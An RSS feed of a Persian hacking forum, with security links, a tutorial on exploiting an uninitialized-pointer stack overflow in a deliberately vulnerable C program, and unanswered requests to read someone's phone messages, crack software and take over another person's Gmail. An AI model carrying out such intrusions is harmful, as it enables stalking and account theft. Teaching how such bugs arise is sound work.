<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[ايران ويج - هك]]></title>
		<link>https://www.iranled.com/forum/</link>
		<description><![CDATA[ايران ويج - https://www.iranled.com/forum]]></description>
		<pubDate>Tue, 01 Sep 2026 14:03:23 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[سوال درمورد جلوگیری از نفوذ از طریق آی پی]]></title>
			<link>https://www.iranled.com/forum/thread-32297.html</link>
			<pubDate>Sat, 13 Jun 2020 21:37:28 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-32297.html</guid>
			<description><![CDATA[سلام مودمم از طریق آی پیم هک شده و تونستند وارد گوشی تلفنم بشن سوالم اینه که آیا میتونن دسترسی کامل به گوشیم(دوربین و...)بگیرن با توجه به اینکه من هیچ فایلی دریافت نکردم و لینکی رو باز نکردم و اینکه طرف اصلا مبتدی نیست و کاربلده و مهم‌ترین سوالم اینه که چطور جلوی اینکارو بگیرم <br />
۱.قبل اینکه نفوذ و هک کنن از طریق آی پی چیکار کنم؟؟<br />
۲.الان که نفوذ کردن از طریق آی پی باید چیکار کنم؟؟<br />
دوستان ممنون میشم راهنمایی کنید]]></description>
			<content:encoded><![CDATA[سلام مودمم از طریق آی پیم هک شده و تونستند وارد گوشی تلفنم بشن سوالم اینه که آیا میتونن دسترسی کامل به گوشیم(دوربین و...)بگیرن با توجه به اینکه من هیچ فایلی دریافت نکردم و لینکی رو باز نکردم و اینکه طرف اصلا مبتدی نیست و کاربلده و مهم‌ترین سوالم اینه که چطور جلوی اینکارو بگیرم <br />
۱.قبل اینکه نفوذ و هک کنن از طریق آی پی چیکار کنم؟؟<br />
۲.الان که نفوذ کردن از طریق آی پی باید چیکار کنم؟؟<br />
دوستان ممنون میشم راهنمایی کنید]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[net-snmp 5.8 - (Authenticated) Heap overflow (DOS PoC)]]></title>
			<link>https://www.iranled.com/forum/thread-32090.html</link>
			<pubDate>Sat, 03 Aug 2019 21:18:28 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-32090.html</guid>
			<description><![CDATA[سلام،<br />
من یک آسیب پذیری پیدا کردم اما چون وقت نمیکردم بیشتر روش کار کنم. آن را پابلیک کردم<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>https://github.com/AlirezaChegini/NET-SNMP-Heap-overflow</code></div></div>]]></description>
			<content:encoded><![CDATA[سلام،<br />
من یک آسیب پذیری پیدا کردم اما چون وقت نمیکردم بیشتر روش کار کنم. آن را پابلیک کردم<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>https://github.com/AlirezaChegini/NET-SNMP-Heap-overflow</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[درخواست پلن کشف باگ و اکسپلویت]]></title>
			<link>https://www.iranled.com/forum/thread-31982.html</link>
			<pubDate>Sat, 23 Mar 2019 10:53:44 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-31982.html</guid>
			<description><![CDATA[سلام . عیدتون مبارک. <br />
دو تا از دوستان بنده علاقمند به اکسپلویت و کشف باگ در سیستمهای ویندوزی هستند از بنده درخواست دوره یا نقشه راه کرده بودند بنده چون خودم در این حوزه کار نکردم گفتم بپرسم و بگم. الان اینجا از دوستان ﻿اگر کسی در این حوزه کار کردند یا آشنایی دارند ممنون میشم راهنمایی کنند. <br />
در کل صحبتی که باهاشون داشتم از این قرار بود که : <br />
در کل هدف نهاییشون کار روی اکسپلویت و باگ در محیط ویندوزی هست. <br />
آشنایی متوسطی با سی پلاس دارند <br />
آشنایی کمی با اسمبلی دارند. <br />
آشنایی کمی با ویندوز اینترنال دارند. <br />
آشنایی اولیه با مهندسی معکوس <br />
زبان انگلیسوشونم متوسطه.(ریدشون خوبه ) <br />
  <br />
فقط این مطالبی که بالا گفتند شاید در حد دیدن فیلم یا دوره ای یا خوندن کتابی باشه اطلاع دقیق ازجزییات و تکنیکهاشون ندارم و فک کنم پلنی مناسب باشه که مقدماتی تا متوسط باشه. <br />
سپاس]]></description>
			<content:encoded><![CDATA[سلام . عیدتون مبارک. <br />
دو تا از دوستان بنده علاقمند به اکسپلویت و کشف باگ در سیستمهای ویندوزی هستند از بنده درخواست دوره یا نقشه راه کرده بودند بنده چون خودم در این حوزه کار نکردم گفتم بپرسم و بگم. الان اینجا از دوستان ﻿اگر کسی در این حوزه کار کردند یا آشنایی دارند ممنون میشم راهنمایی کنند. <br />
در کل صحبتی که باهاشون داشتم از این قرار بود که : <br />
در کل هدف نهاییشون کار روی اکسپلویت و باگ در محیط ویندوزی هست. <br />
آشنایی متوسطی با سی پلاس دارند <br />
آشنایی کمی با اسمبلی دارند. <br />
آشنایی کمی با ویندوز اینترنال دارند. <br />
آشنایی اولیه با مهندسی معکوس <br />
زبان انگلیسوشونم متوسطه.(ریدشون خوبه ) <br />
  <br />
فقط این مطالبی که بالا گفتند شاید در حد دیدن فیلم یا دوره ای یا خوندن کتابی باشه اطلاع دقیق ازجزییات و تکنیکهاشون ندارم و فک کنم پلنی مناسب باشه که مقدماتی تا متوسط باشه. <br />
سپاس]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[هک گوشی اندروید "سامسونگ"]]></title>
			<link>https://www.iranled.com/forum/thread-31331.html</link>
			<pubDate>Tue, 08 Aug 2017 06:27:01 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-31331.html</guid>
			<description><![CDATA[لطفا لطفا کمکم کنید.شاید یه دوروغ رسوا بشه و یه آدم به زندگیش برگرده.<br />
سلام به همه..<br />
دوستان کمکم کنید می خوام یه گوشی سامسونگ رو هک کنم تا بتونم پیاماش رو بخونم.<br />
پیام هایی که با سیم کارت رد و بدل میشه نه با برنامه هایی مثله تلگرام و ....<br />
خواهش میکنم کسی اگه میتونه راهنمایی کنه کمکم کنه چون خوندن پیاماش <br />
میتونه یه زندگی رو نجات بده...لطفااااااااااا<br />
ممنونم..]]></description>
			<content:encoded><![CDATA[لطفا لطفا کمکم کنید.شاید یه دوروغ رسوا بشه و یه آدم به زندگیش برگرده.<br />
سلام به همه..<br />
دوستان کمکم کنید می خوام یه گوشی سامسونگ رو هک کنم تا بتونم پیاماش رو بخونم.<br />
پیام هایی که با سیم کارت رد و بدل میشه نه با برنامه هایی مثله تلگرام و ....<br />
خواهش میکنم کسی اگه میتونه راهنمایی کنه کمکم کنه چون خوندن پیاماش <br />
میتونه یه زندگی رو نجات بده...لطفااااااااااا<br />
ممنونم..]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[تحلیل آسیب پذیری content injection vulnerability in wordpress]]></title>
			<link>https://www.iranled.com/forum/thread-31317.html</link>
			<pubDate>Tue, 01 Aug 2017 17:44:39 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-31317.html</guid>
			<description><![CDATA[سلام،<br />
این لینک به وبلاگه خودمه و ترجمه هست البته یکم قدیمی شد... <img src="https://www.iranled.com/forum/images/smilies/pack1/2009.gif" alt="قلب عشق - بهینه شده برای ورژن جدید" title="قلب عشق - بهینه شده برای ورژن جدید" class="smilie smilie_90" /> <br />
<a href="http://badware.ir/Blog/?p=30" target="_blank" rel="noopener" class="mycode_url">لینک به مطلب</a><br />
<br />
<br />
<br />
کلمات کلیدی:<br />
آسیب پذیری وردپرس تزریق محتویات وبلاگ]]></description>
			<content:encoded><![CDATA[سلام،<br />
این لینک به وبلاگه خودمه و ترجمه هست البته یکم قدیمی شد... <img src="https://www.iranled.com/forum/images/smilies/pack1/2009.gif" alt="قلب عشق - بهینه شده برای ورژن جدید" title="قلب عشق - بهینه شده برای ورژن جدید" class="smilie smilie_90" /> <br />
<a href="http://badware.ir/Blog/?p=30" target="_blank" rel="noopener" class="mycode_url">لینک به مطلب</a><br />
<br />
<br />
<br />
کلمات کلیدی:<br />
آسیب پذیری وردپرس تزریق محتویات وبلاگ]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[آسیب پذیری SQLi در پلاگین مطرح وردپرس WP Statistics]]></title>
			<link>https://www.iranled.com/forum/thread-31283.html</link>
			<pubDate>Sat, 01 Jul 2017 16:56:18 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-31283.html</guid>
			<description><![CDATA[هدف از ایجاد تاپیک اطلاع رسانی در رابطه با آسیب پذیر بودن این پلاگین بود. اما میتونید تحلیل فنی این آسیب پذیری در لینک زیر بخونید:<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>https://blog.sucuri.net/2017/06/sql-injection-vulnerability-wp-statistics.html</code></div></div>]]></description>
			<content:encoded><![CDATA[هدف از ایجاد تاپیک اطلاع رسانی در رابطه با آسیب پذیر بودن این پلاگین بود. اما میتونید تحلیل فنی این آسیب پذیری در لینک زیر بخونید:<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>https://blog.sucuri.net/2017/06/sql-injection-vulnerability-wp-statistics.html</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[درخواست هک و کرک برنامه]]></title>
			<link>https://www.iranled.com/forum/thread-30575.html</link>
			<pubDate>Sat, 23 Apr 2016 13:50:50 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-30575.html</guid>
			<description><![CDATA[سلام و درود<br />
دوستان عزیز دوتا برنامه داشتم <br />
خواستم بدونم میشه آنپک یا کرک کرد این هارو :<br />
<br />
<a href="http://s7.picofile.com/file/8248411118/File.zip.html" target="_blank" rel="noopener" class="mycode_url">http://s7.picofile.com/file/8248411118/File.zip.html</a><br />
<br />
و یک برنامه هست که اگه آنپک بشه، خیلی ممنون میشم<br />
<br />
<a href="http://androidhost.org/iOW2Z" target="_blank" rel="noopener" class="mycode_url">http://androidhost.org/iOW2Z</a><br />
<br />
<br />
البته اگه مقدور هست<br />
<br />
تشکر]]></description>
			<content:encoded><![CDATA[سلام و درود<br />
دوستان عزیز دوتا برنامه داشتم <br />
خواستم بدونم میشه آنپک یا کرک کرد این هارو :<br />
<br />
<a href="http://s7.picofile.com/file/8248411118/File.zip.html" target="_blank" rel="noopener" class="mycode_url">http://s7.picofile.com/file/8248411118/File.zip.html</a><br />
<br />
و یک برنامه هست که اگه آنپک بشه، خیلی ممنون میشم<br />
<br />
<a href="http://androidhost.org/iOW2Z" target="_blank" rel="noopener" class="mycode_url">http://androidhost.org/iOW2Z</a><br />
<br />
<br />
البته اگه مقدور هست<br />
<br />
تشکر]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[کمک در بدست اوردن پسورد جیمیل]]></title>
			<link>https://www.iranled.com/forum/thread-30515.html</link>
			<pubDate>Wed, 09 Mar 2016 23:09:06 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-30515.html</guid>
			<description><![CDATA[سلام به همگی<br />
من یه جیمیل داشتم که مال یه شخصی بود و ازش برای پرایمری کردن بازی های پلی استیشن 4استفاده میکردم...<br />
بعد الان این پسورد عوض شده و نمیتونم وارد اون اکانت و سرویس بشم...<br />
<br />
الان هم ایمیل رو دارم و هم پسورد قبلی رو...<br />
کسی از دوستان هست که بتونه پسورد جدید رو بدون اینکه تغییری بده و ... برام در بیاره؟<br />
هر کی بتونه هزینه اش رو میدم...]]></description>
			<content:encoded><![CDATA[سلام به همگی<br />
من یه جیمیل داشتم که مال یه شخصی بود و ازش برای پرایمری کردن بازی های پلی استیشن 4استفاده میکردم...<br />
بعد الان این پسورد عوض شده و نمیتونم وارد اون اکانت و سرویس بشم...<br />
<br />
الان هم ایمیل رو دارم و هم پسورد قبلی رو...<br />
کسی از دوستان هست که بتونه پسورد جدید رو بدون اینکه تغییری بده و ... برام در بیاره؟<br />
هر کی بتونه هزینه اش رو میدم...]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[نفوذ به ويندوز سرور]]></title>
			<link>https://www.iranled.com/forum/thread-30335.html</link>
			<pubDate>Tue, 01 Dec 2015 14:05:53 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-30335.html</guid>
			<description><![CDATA[سلام به همه<br />
دوستان ميخواستم روش دور زدن دسترسي هاي تعريف شده داخل ويندوز 2012 R2  رو  بدونم.<br />
براي مثال امكان باز كردن Task Manager و حدف يك پروسس داخل CMD وجود ندارد.<br />
يا مثلا امكان اينكه از داخل RemoteDesktop امكان Copy , Paste وجود ندارد.<br />
يكي از دوستان برنامه اي نوشته بود كه در حساب كاربري Limit ميتونست كار بر ادمين بسازه و گفته بود كه از سرويس ها استفاده كرده.<br />
<br />
مشكل ها :<br />
<ol type="1" class="mycode_list"><li>امكان Copy و Paste وجود ندارد.<br />
</li>
<li>امكان بستن يك Process وجود ندارد.<br />
</li>
<li>امكان تغيير در رجيستري وجود ندارد.<br />
</li>
</ol>
من فقط ميخوام امكان Copy , Paste داشته باشم.<br />
نرم افزار Vs 2013 هم بر روي سرور نصب هست.<br />
<br />
از دوستان ميخوام كه مرا راهنمايي كنند.]]></description>
			<content:encoded><![CDATA[سلام به همه<br />
دوستان ميخواستم روش دور زدن دسترسي هاي تعريف شده داخل ويندوز 2012 R2  رو  بدونم.<br />
براي مثال امكان باز كردن Task Manager و حدف يك پروسس داخل CMD وجود ندارد.<br />
يا مثلا امكان اينكه از داخل RemoteDesktop امكان Copy , Paste وجود ندارد.<br />
يكي از دوستان برنامه اي نوشته بود كه در حساب كاربري Limit ميتونست كار بر ادمين بسازه و گفته بود كه از سرويس ها استفاده كرده.<br />
<br />
مشكل ها :<br />
<ol type="1" class="mycode_list"><li>امكان Copy و Paste وجود ندارد.<br />
</li>
<li>امكان بستن يك Process وجود ندارد.<br />
</li>
<li>امكان تغيير در رجيستري وجود ندارد.<br />
</li>
</ol>
من فقط ميخوام امكان Copy , Paste داشته باشم.<br />
نرم افزار Vs 2013 هم بر روي سرور نصب هست.<br />
<br />
از دوستان ميخوام كه مرا راهنمايي كنند.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[متغیرهای مقداردهی نشده، خوب یا بد؟]]></title>
			<link>https://www.iranled.com/forum/thread-30146.html</link>
			<pubDate>Fri, 03 Jul 2015 22:38:10 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-30146.html</guid>
			<description><![CDATA[سلامی دوباره، بعد از مدتها استراحت و بی حوصلگی در راستای تجزیه نشدن و همچنین جزیی از طبیعت قرار نگرفتن یه پستی  میزارم تا این پست رو همانند پکت های Keep-Alive در نظر بگیرید.  <br />
<br />
خوب، قرار نیست نحوه اکسپلویت کردن و تکنیک هارو توضیح بدیم فقط میخواهیم کمی درباره خطرات مقداردهی نکردن متغیرها در برنامه و نحوه بوجود آمدن باگ صحبت کنیم، واس خیلی ها از جمله خودم پیش اومده که در زبان C/C++ متغیری مانند Integer رو مقداردهی اولیه انجام ندادیم ، یادمون رفته و یا برحسب عادت در زبان های برنامه نویسی دیگر مثل VB6.0 اینکار رو انجام ندادیم. بنظرم تنها دلیلی که بعضی ها هنوزم که هنوزه طرفدار VB6.0 هستند! همین مقداردهی اولیه نکردن متغیرهاست، اگر شما حتی نوع متغیر رو تعریف نکنین بطور خودکار متغیر از نوع Variant در نظر گرفته میشه و هر DATA Type بخواهید میتونید درون متغیر بریزید!!! اینها انسانهای خاص هستند و خاص هم که فحش نیست !؟<br />
<br />
خوب از بحث اصلیمون دور نشیم،اگر استاد همون درس برنامه نویسی و یا افراد دیگری که ازشون این سوال “متغییر مقدار دهی نشده ولی دارای مقدار هست و خروجی به ما نشون میده” رو پرسیدین بهمون گفتن که وقتی یک نوع Integer رو مقدار دهی نمیکنیم ، مقداری  Random درون متغیر ریخته میشه؟!؟ و اینم جز خیلی از حرفاس که وارد مغزمون کردن تا بیشتر ندونیم و نپرسیم. (انگاری دلم خیلی پره :دایی) بایک مثال خیلی ساده و راحت میخواهیم به صحت و سقم این دلیل پی ببریم. خوب سورس زیر رو کامپایل و اجرا میکنیم:<br />
<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>int main(void)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int uninit_var ;<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("&#92;n your uninitialized variable is :&#92;t %x&#92;n",uninit_var); <br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}</code></div></div><br />
بعد از اجرا مقدار این متغیر رو داریم میبینیم که بایستی این یک مقدار تصادفی باشه و در هر بار اجرا مقداری مختلف ببینید، من درون سیستم خودم فقط این مقدار رو میبینیم و نتیجه میگیرم که مقدار Random نیست:<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2015/05/Ouput.png" alt="[تصویر:  Ouput.png]" class="mycode_img" /><br />
<br />
حال برنامه را درون یار همیشه همراهمون باز میکنیم تا دلیل این امر رو کشف کنیم.<br />
<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2015/05/debugging.png" alt="[تصویر:  debugging.png]" class="mycode_img" /><br />
<br />
همانطور که ملاحظه میکنین ابتدا مقدار ECX درون پشته Push  میشه و بنابراین عنصر بالای پشته خواهد بود و مقدار ESP یا همون Stack Pointer هم به عنصر بالای پشته اشاره میکنه. حال مقدار بالای پشته وارد رجیستر EAX میشه یعنی درواقع همون مقدار رجیستر ECX . نتیجه اینکه مقدار بالای پشته یا همون مقدار رجیستر ECX ، مقدار تصادفی در درون uninit_var  (متغیر مقدار دهی نشده مان) می باشد.<br />
<br />
وقتی که تعداد خط کدها زیادمیشن برنامه نویس ها فراموش می کنند که کدام متغییر مقداردهی نشده است و دلایل دیگر.شاید در لفظ و در نظر برنامه نویس مقدار دهی نکردن متغیر مشکل خاصی پیش نیاره و به هیچ وجه فکرشون به اکسپلویت شدن برنامه شون برسه! میتونن به  CVE-2015-0240 باگ Samba که متغییر cred  یک اشاره گرمقدار دهی نشده در تابع _netr_ServerPasswordSet() است، مراجعه کنند و مطالعه ای داشته باشند که نمونه ها زیاد است. نکته قابل ذکر در اکسپلویتینگ که جا داره در اینجا تکرار کنم : هر اکسپلویت از یک باگ سو استفاده میکنه ولی هر باگ قابل اکسپلویت نیست.<br />
چون هدف فقط آشنایی با این باگ هست از یک مثال قدیمی و خوب استفاده میکنیم تا بتونیم بهتر این موضوع رو درک کنیم ( اصل کار مفهوم و نحوه رخ دادن باگ درون برنامه هاست و لینوکس و ویندوزی فرق نداره ).<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>//www.aha.4xmen.ir<br />
#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;string.h&gt;<br />
<br />
#define MAX_USER 1024<br />
#define MAX_PASS MAX_USER<br />
<br />
#define ERR_CRITIC 0x01<br />
#define ERR_AUTH&nbsp;&nbsp; 0x02<br />
<br />
int do_auth(void)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;char username[MAX_USER], password[MAX_PASS];<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stdout, "Please enter your username: ");<br />
&nbsp;&nbsp;&nbsp;&nbsp;fgets(username, MAX_USER, stdin);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stdout, "Please enter your password: ");<br />
&nbsp;&nbsp;&nbsp;&nbsp;fgets(password, MAX_PASS, stdin);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("username at: 0x%x&#92;n", &amp;username);<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("password at 0x%x&#92;n", &amp;password);<br />
<br />
<br />
#ifdef DEBUG<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, "Username is at: 0x%08x (%d)&#92;n", &amp;username, strlen(username));<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, "Password is at: 0x%08x (%d)&#92;n", &amp;password, strlen(password));<br />
<br />
#endif<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(!strcmp(username, "user") &amp;&amp; !strcmp(password, "washere"))<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
}<br />
<br />
int log_error(int farray, char *msg)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;char *err, *mesg;<br />
&nbsp;&nbsp;&nbsp;&nbsp;char buffer[24];<br />
<br />
#ifdef DEBUG<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, "Mesg is at: 0x%08x&#92;n", &amp;mesg);<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, "Mesg is pointing at: 0x%08x&#92;n", mesg);<br />
#endif<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("mesg: 0x%x&#92;n", mesg);<br />
&nbsp;&nbsp;&nbsp;&nbsp;memset(buffer, 0x00, sizeof(buffer));<br />
&nbsp;&nbsp;&nbsp;&nbsp;sprintf(buffer, "Error: %s", mesg);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stdout, "%s&#92;n", buffer);<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}<br />
<br />
int main(void)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;switch(do_auth())<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;case -1:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;log_error(ERR_CRITIC | ERR_AUTH, "Unable to login");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;default:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}</code></div></div><br />
برنامه مورد نظرمون رو اجرا میکنیم :<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2015/05/sample2.png" alt="[تصویر:  sample2.png]" class="mycode_img" /><br />
<br />
آدرس متغیر ها را در حافظه نشان داده می شوند، تا به اینجا مشکل خاصی نیس. ورودی های برنامه User و Password است که آنها هم بدرستی دریافت می شوند. به تابع زیر از سورس کد برنامه توجه کنید:<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>int log_error(int farray, char *msg)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;char *err, *mesg;<br />
&nbsp;&nbsp;&nbsp;&nbsp;char buffer[24];<br />
<br />
#ifdef DEBUG<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, "Mesg is at: 0x%08x&#92;n", &amp;mesg);<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, "Mesg is pointing at: 0x%08x&#92;n", mesg);<br />
#endif<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("mesg: 0x%x&#92;n", mesg);<br />
&nbsp;&nbsp;&nbsp;&nbsp;memset(buffer, 0x00, sizeof(buffer));<br />
&nbsp;&nbsp;&nbsp;&nbsp;sprintf(buffer, "Error: %s", mesg);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stdout, "%s&#92;n", buffer);<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}</code></div></div><br />
متغیر mesg از نوع لوکال و مقدار دهی نشده، ولی توسط تابع sprintf مورد استفاده قرار گرفته است. خوب این متغیر چه ربطی به ما دارد؟ فرض کنیم که این متغیر مقدار دهی نشده است، چگونه می تواند باعث ایجاد باگ شود؟<br />
طول رشته ورودی برای User و Password حداکثر 1024 کاراکتر است. حال حداکثر کاراکتر را بعنوان ورودی به برنامه میدهیم و عکس العمل برنامه را نسبت به ورودی ها مشاهده می کنیم:<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2015/05/sample2-1.png" alt="[تصویر:  sample2-1.png]" class="mycode_img" /><br />
<br />
مقدار mesg با کاراکترهای ورودی ما بازنویسی شده است (همان مقدارهای تصادفی) ! ! !<br />
<br />
دوباره برنامه را درون یار همیشه همراه اجرا می کنیم و ورودی ها را حداکثر کاراکتر خواهیم داد. اینجا نحوه ساختار پشته در هنگام Call شدن یک function رو توضیح نمیدم، اگر دوستان نیاز دیدن میتونن از لینک زیر کتاب سرریز بافر رو دانلود و مطالعه کنید:<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>https://www.exploit-db.com/docs/30179.zip</code></div></div><br />
قبل از اینکه وارد تابع log_error بشویم مقادیر پشته رو نگاهی میاندازیم، میبینیم که متغیرهای User و Pass مقدار دهی شده اند و درون پشته ذخیره گردیده اند (Local Variable).<br />
<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2015/05/sample2-2.png" alt="[تصویر:  sample2-2.png]" class="mycode_img" /><br />
<br />
پشته رو به بالا رشد پیدا میکنه، حال وارد  Call میشویم تا ادامه روند اجرا را بررسی نماییم:<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2015/05/sample2-3.png" alt="[تصویر:  sample2-3.png]" class="mycode_img" /><br />
<br />
مقدار ESP منهای 20 می شود! یعنی درون پشته Overlap رخ خواهد داد.<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>00401130&nbsp;&nbsp;/&#36; 83E&gt;SUB ESP,20</code></div></div><br />
<br />
در ادامه نیز مقدار رجیستر ESI نیز تغییر می کند و آدرس mesg درون آن قرار می گیرد:<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>0040113F&nbsp;&nbsp;|. 8B7&gt;MOV ESI,DWORD PTR SS:[ESP+4]</code></div></div><br />
خوب میبینیم که استک Overlap شده است و به دلیل اینکه متغیر mesg مقدار دهی نشده است همان مقداری که از قبل (پشته تابع قبلی) درون استک قرار دارد را مدنظر قرار می گیرد و ما می توانیم براحتی مقدار این متغیر را تحت کنترل داشته باشیم. حال روند اجرا را ادامه می دهیم. در تصویر زیر میبینیم که 24 بایت در پشته با مقدار 0x00 پر میشود و این همان متغیر char buffer[24];است. خوب حال توسط دستور sprintf مقادیر آدرس ESI در آدرس EAX کپی می شود. پس دلیل رخ دادن خطا در برنامه را فهمیدیم که آدرس نا معتبر است.<br />
<br />
سوال: اگر مقدار ESI یک آدرس معتبر باشد چه اتفاقی می افتد؟<br />
جواب: مقادیر آن آدرس درون متغیر Buffer کپی می شوند.<br />
سوال: آیا طول مقادیر چک می شود؟<br />
جواب: خیر، طول مقادیر چک نمی شود و شرط پایان کپی نمودن مقادیر در درون Buffer وجود کاراکتر Null است.<br />
<br />
از این سوال و جواب به این نتیجه میرسیم که براحتی می توانیم با کپی نمودن داده بیشتر از 24 کاراکتر در درون متغیر Buffer آدرس بازگشت (Return Address) را بازنویسی نمایم.بدین صورت که من بجای مقدار 0xDDDD آدرس بخشی از پشته که مقدار متغیر User است را میدهم و نتیجه را میبینیم :<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2015/05/sample2-4.png" alt="[تصویر:  sample2-4.png]" class="mycode_img" /><br />
<br />
آدرس ESI رو مقدار  0x0012FA00قرار دادم و چون طول کاراکتر ها بیش از 24 بود آدرس بازگشت بازنویسی شده و مقدار EIP هم 0x41414141 شده است. کمی آدرس های پشته درون تصاویر رو مقایسه کنین میبینین که چه اتفاقی رخ داده است.<br />
<br />
موفق باشید.]]></description>
			<content:encoded><![CDATA[سلامی دوباره، بعد از مدتها استراحت و بی حوصلگی در راستای تجزیه نشدن و همچنین جزیی از طبیعت قرار نگرفتن یه پستی  میزارم تا این پست رو همانند پکت های Keep-Alive در نظر بگیرید.  <br />
<br />
خوب، قرار نیست نحوه اکسپلویت کردن و تکنیک هارو توضیح بدیم فقط میخواهیم کمی درباره خطرات مقداردهی نکردن متغیرها در برنامه و نحوه بوجود آمدن باگ صحبت کنیم، واس خیلی ها از جمله خودم پیش اومده که در زبان C/C++ متغیری مانند Integer رو مقداردهی اولیه انجام ندادیم ، یادمون رفته و یا برحسب عادت در زبان های برنامه نویسی دیگر مثل VB6.0 اینکار رو انجام ندادیم. بنظرم تنها دلیلی که بعضی ها هنوزم که هنوزه طرفدار VB6.0 هستند! همین مقداردهی اولیه نکردن متغیرهاست، اگر شما حتی نوع متغیر رو تعریف نکنین بطور خودکار متغیر از نوع Variant در نظر گرفته میشه و هر DATA Type بخواهید میتونید درون متغیر بریزید!!! اینها انسانهای خاص هستند و خاص هم که فحش نیست !؟<br />
<br />
